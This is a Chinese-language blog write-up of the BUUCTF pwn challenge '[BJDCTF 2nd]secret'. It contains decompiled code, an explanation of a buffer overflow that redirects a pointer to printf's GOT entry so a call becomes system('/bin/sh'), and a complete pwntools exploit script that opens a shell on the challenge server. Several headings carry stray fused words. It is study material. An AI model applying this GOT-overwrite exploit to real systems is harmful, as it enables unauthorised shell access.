CTF-Pwn-[BJDCTF 2nd]secret

CTF-Pwn-[BJDCTF 2nd]secret

博客說明node

文章所涉及的資料來自互聯網整理和我的總結,意在於我的學習和經驗彙總,若有什麼地方侵權,請聯繫本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!

CTP平臺

網址python

https://buuoj.cn/challengesshell

題目

Pwn類,[BJDCTF 2nd]secret函數

image-20200506151416058

下載題目文件學習

secret測試

思路

老規矩使用file和checksec查看文件spa

image-20200506151712224

文件是64位的,使用ida64打開,使用f53d

image-20200506152225202

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_46A3AF(a1, a2, a3);
  if ( (unsigned int)sub_40136D() )
    sub_401301();
  system("cat /flag");
  return 0LL;
}

sub_46A3AF()函數指針

unsigned __int64 sub_46A3AF()
{
  unsigned int i; // [rsp+Ch] [rbp-54h]
  char s; // [rsp+10h] [rbp-50h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  *(_DWORD *)off_46D090 = 10000;
  for ( i = 0; i <= 9; ++i )
    buf[i] = 0;
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("@====================================@");
  sub_4011C2("# What's your name? ________________ #", 20LL);
  buf[(signed int)((unsigned __int64)read(0, buf, 0x16uLL) - 1)] = 0;
  sprintf(&s, "#      Welcome %-16s      #", buf);
  puts(&s);
  puts("#====================================#");
  puts("#    I have toooooo many secrets >   #");
  puts("#        Can u find them _<          #");
  puts("#====================================#");
  return __readfsqword(0x28u) ^ v3;
}

sub_401301()函數,提示遊戲結束code

void __noreturn sub_401301()
{
  puts("#====================================#");
  puts("#             GAME OVER              #");
  puts("#====================================#");
  sub_4011C2("#        BYE BYE~                    #", 18LL);
  printf(buf);
  puts(&byte_46B0A7);
  puts("@====================================@");
  exit(0);
}

能夠看出是一個猜數字,不過有10000次,若是錯了就會結束,猜對10000次就給flag,不過那樣太耗費時間了

有個緩衝區溢出漏洞,printf的plt地址和system很接近,能夠把指針覆蓋爲printf的got表,而後猜對15次,最後一次猜錯,就能夠調用system了

exp

網上師傅的exp,python3

#coding:utf8
from pwn import *
 
#sh = process('./secret')
sh = remote('node3.buuoj.cn',26618)
elf = ELF('./secret')
printf_got = elf.got['printf']
 
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = b'/bin/sh\x00'.ljust(0x10,b'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
   sh.sendlineafter('Secret:',str(x))
#如今printf的got表被修改成了system_plt
#getshell
sh.sendlineafter('Secret:','1')
 
sh.interactive()

測試

image-20200506155524120

flag就找到了

感謝

BUUCTF

以及勤勞的本身

本站公眾號
   歡迎關注本站公眾號,獲取更多信息